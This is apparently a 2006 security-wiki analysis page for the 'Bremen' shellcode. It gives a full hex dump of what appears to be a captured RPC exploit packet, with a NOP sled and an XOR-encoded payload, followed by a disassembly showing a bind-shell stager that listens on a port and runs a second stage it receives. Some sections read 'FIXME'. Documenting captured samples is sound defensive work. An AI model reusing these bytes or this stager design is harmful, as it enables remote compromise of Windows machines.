Bremen Shellcode

Reference: ce332d14e71a09b192fa98ee1b030d15.bin

Shellcode

raw

00000000  05 00 00 03 10 00 00 00  8a 06 00 00 00 00 00 00  |................|
00000010  72 06 00 00 00 00 00 00  05 00 01 00 00 00 00 00  |r...............|
00000020  00 00 00 00 58 7d 75 75  40 eb c6 47 bc 71 4e a7  |....X}uu@..G.qN.|
00000030  1c d0 b5 97 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000040  00 00 00 00 00 00 00 00  00 00 09 00 00 03 00 00  |................|
00000050  00 00 00 00 00 03 00 00  5c 00 5c 00 90 90 90 90  |........\.\.....|
00000060  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000070  90 90 90 90 90 90 90 90  90 90 90 90 eb 10 eb 19  |................|
00000080  9f 75 18 00 23 37 f3 77  eb e0 fd 7f 90 90 90 90  |.u..#7.w........|
00000090  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
*
000000e0  90 90 90 90 eb 04 ff ff  ff ff 90 90 90 90 90 90  |................|
000000f0  90 90 eb 04 eb 04 90 90  90 90 eb 04 ff ff ff ff  |................|
00000100  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
*
00000400  90 90 90 90 eb 15 b9 8b  e6 13 41 81 f1 4d e6 13  |..........A..M..|
00000410  41 5e 80 74 31 ff 42 e2  f9 eb 05 e8 e6 ff ff ff  |A^.t1.B.........|
00000420  71 99 26 c9 01 72 c9 02  4e c9 32 5e ef c9 3a 4a  |q.&..r..N.2^..:J|
00000430  aa 07 42 42 42 11 14 c9  1d 7e c9 1e 79 3a 41 9d  |..BBB....~..y:A.|
00000440  11 c9 19 62 41 9d 11 c1  81 46 c9 71 41 b5 71 8b  |...bA....F.qA.q.|
00000450  ee 70 8a 83 83 47 c6 82  37 b4 69 88 37 ab 1a 69  |.p...G..7.i.7..i|
00000460  9a 93 a9 1c 41 1c 66 41  9d 24 c9 49 c9 1c 5e 41  |....A.fA.$.I..^A|
00000470  9d c9 46 c9 41 85 1c 19  bd a2 1c 2a 71 70 42 42  |..F.A......*qpBB|
00000480  2a 35 31 70 1d 16 f8 d0  2c 46 c6 bd 94 c9 ba c3  |*51p....,F......|
00000490  ae 42 40 42 42 c9 ae 11  28 43 28 40 f8 c1 11 c1  |.B@BB...(C(@....|
000004a0  42 bd 94 11 11 11 2a 40  42 e2 e1 c9 96 c9 9a 28  |B.....*@B......(|
000004b0  52 10 11 f8 42 d2 e4 80  bd 94 02 12 11 f8 38 79  |R...B.........8y|
000004c0  31 e3 bd 94 12 12 11 f8  52 91 2b 42 bd 94 c9 9a  |1.......R.+B....|
000004d0  71 82 12 f6 40 12 17 11  f8 42 1a 22 a0 bd 94 fd  |q...@....B."....|
000004e0  97 a2 84 30 bd a7 6b 63  71 6b 62 6e 66 66 69 64  |...0..kcqkbnffid|
000004f0  6d 72 64 76 77 70 6c 72  62 61 67 6c 66 63 62 65  |mrdvwplrbaglfcbe|
00000500  76 63 77 7a 7a 64 77 72  6e 61 78 71 6c 64 70 73  |vcwzzdwrnaxqldps|
00000510  6f 62 64 71 64 77 79 71  79 69 63 69 72 69 6b 69  |obdqdwyqyiciriki|
00000520  75 66 64 69 73 73 62 72  6e 6c 72 69 6b 72 6e 69  |ufdissbrnlrikrni|
00000530  61 6d 68 79 71 68 70 68  65 63 62 7a 74 78 72 75  |amhyqhphecbztxru|
00000540  6c 74 75 6d 79 62 6b 67  6c 70 61 6a 6b 73 75 71  |ltumybkglpajksuq|
00000550  61 6b 68 6a 65 72 67 61  6d 72 6c 76 70 75 79 6a  |akhjergamrlvpuyj|
00000560  66 69 6f 68 7a 72 75 79  72 6b 70 6e 61 6f 70 78  |fiohzruyrkpnaopx|
00000570  7a 76 73 66 61 62 6e 6d  74 6f 63 68 68 6a 69 63  |zvsfabnmtochhjic|
00000580  79 64 67 62 7a 67 66 72  66 6f 73 7a 6d 73 72 74  |ydgbzgfrfoszmsrt|
00000590  6d 66 6e 6a 6f 76 6a 6a  76 66 78 6d 78 64 76 67  |mfnjovjjvfxmxdvg|
000005a0  73 73 6c 64 72 66 6f 63  6b 68 7a 6f 77 6f 71 79  |ssldrfockhzowoqy|
000005b0  62 69 6d 77 70 73 7a 6c  65 72 6c 73 61 6d 68 76  |bimwpszlerlsamhv|
000005c0  6e 75 65 67 76 71 75 77  71 78 6c 6b 64 6b 62 75  |nuegvquwqxlkdkbu|
000005d0  6d 65 8b 45 30 05 24 fb  ff ff ff e0 eb f4 77 75  |me.E0.$.......wu|
000005e0  0b 0b 1b 00 77 68 72 6e  70 76 6c 63 61 74 78 6f  |....whrnpvlcatxo|
000005f0  6a 6d 6b 76 6c 6b 6a 7a  63 66 63 76 64 68 75 76  |jmkvlkjzcfcvdhuv|
00000600  79 73 78 6b 6e 71 6f 7a  68 71 62 68 6a 74 6b 6e  |ysxknqozhqbhjtkn|
00000610  70 6e 78 74 6c 77 6b 75  eb 06 61 69 59 1c 00 01  |pnxtlwku..aiY...|
00000620  8b 44 24 fc 05 e0 fa ff  ff ff e0 62 6c 77 66 6e  |.D$........blwfn|
00000630  67 6b 6b 62 61 6c 6e 69  69 73 64 73 6d 73 61 6b  |gkkbalniisdsmsak|
00000640  64 66 61 7a 6c 71 74 70  61 61 74 66 69 78 5c 00  |dfazlqtpaatfix\.|
00000650  41 00 00 00 00 00 00 00  00 00 00 00 02 00 00 00  |A...............|
00000660  00 00 00 00 01 00 00 00  68 1c 09 00 01 00 00 00  |........h.......|
00000670  00 00 00 00 00 00 00 00  c0 00 00 00 00 00 00 46  |...............F|
00000680  01 00 00 00 01 00 00 00  07 00                    |..........|

unxor'd

FIXME

Analysis

This shellcode is obviously the bind-version of the two-stage linkbot shellcode.

xor decoder

FIXME

unxor'd shellcode

00402095   33db             xor ebx,ebx
00402097   64:8b43 30       mov eax,dword ptr fs:[ebx+30]
0040209b   8b40 0c          mov eax,dword ptr ds:[eax+c]
0040209e   8b70 1c          mov esi,dword ptr ds:[eax+1c]
004020a1   ad               lods dword ptr ds:[esi]
004020a2   8b78 08          mov edi,dword ptr ds:[eax+8]
004020a5   e8 45000000      call bremen.004020ef
004020aa   53               push ebx
004020ab   56               push esi
004020ac   8b5f 3c          mov ebx,dword ptr ds:[edi+3c]
004020af   8b5c3b 78        mov ebx,dword ptr ds:[ebx+edi+78]
004020b3   03df             add ebx,edi
004020b5   53               push ebx
004020b6   8b5b 20          mov ebx,dword ptr ds:[ebx+20]
004020b9   03df             add ebx,edi
004020bb   53               push ebx
004020bc   83c3 04          add ebx,4
004020bf   8b33             mov esi,dword ptr ds:[ebx]
004020c1   03f7             add esi,edi
004020c3   33c9             xor ecx,ecx
004020c5   ac               lods byte ptr ds:[esi]
004020c6   32c8             xor cl,al
004020c8   c1c1 05          rol ecx,5
004020cb   84c0             test al,al
004020cd  ^75 f6            jnz short bremen.004020c5
004020cf   2bca             sub ecx,edx
004020d1  ^75 e9            jnz short bremen.004020bc
004020d3   58               pop eax
004020d4   2bd8             sub ebx,eax
004020d6   d1eb             shr ebx,1
004020d8   5e               pop esi
004020d9   035e 24          add ebx,dword ptr ds:[esi+24]
004020dc   03df             add ebx,edi
004020de   66:8b0b          mov cx,word ptr ds:[ebx]
004020e1   8b5e 1c          mov ebx,dword ptr ds:[esi+1c]
004020e4   03df             add ebx,edi
004020e6   8b048b           mov eax,dword ptr ds:[ebx+ecx*4]
004020e9   03c7             add eax,edi
004020eb   5e               pop esi
004020ec   5b               pop ebx
004020ed  -ffe0             jmp eax
004020ef   5e               pop esi
004020f0   68 33320000      push 3233
004020f5   68 7773325f      push 5f327377
004020fa   54               push esp
004020fb   ba 926e0484      mov edx,84046e92
00402100   ffd6             call esi                                 ; loadlibrarya()
00402102   8bf8             mov edi,eax
00402104   81ec 00020000    sub esp,200
0040210a   8bec             mov ebp,esp
0040210c   53               push ebx
0040210d   6a 01            push 1
0040210f   6a 02            push 2
00402111   ba 83538300      mov edx,835383
00402116   ffd6             call esi                                 ; socket()
00402118   53               push ebx
00402119   53               push ebx
0040211a   53               push ebx
0040211b   68 0200d63a      push 3ad60002                            ; 3ad6 <- port
00402120   8bd4             mov edx,esp
00402122   8bd8             mov ebx,eax
00402124   6a 10            push 10
00402126   52               push edx
00402127   53               push ebx
00402128   ba 0090a6c2      mov edx,c2a69000
0040212d   ffd6             call esi                                 ; bind()
0040212f   40               inc eax
00402130   50               push eax
00402131   53               push ebx
00402132   ba 7a3b73a1      mov edx,a1733b7a
00402137   ffd6             call esi                                 ; listen()
00402139   50               push eax
0040213a   50               push eax
0040213b   53               push ebx
0040213c   ba 10d36900      mov edx,69d310
00402141   ffd6             call esi                                 ; accept()
00402143   8bd8             mov ebx,eax
00402145   33c0             xor eax,eax
00402147   50               push eax
00402148   b4 02            mov ah,2
0040214a   50               push eax
0040214b   55               push ebp
0040214c   53               push ebx
0040214d   ba 005860e2      mov edx,e2605800
00402152   ffd6             call esi                                 ; recv()
00402154   bf 1cf174c0      mov edi,c074f11c                         ; authentication key
00402159   ffe5             jmp ebp

 
csni/shellcodes/bremen.txt · Last modified: 2006/02/17 14:01
 
Recent changes RSS feed Creative Commons License Donate Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki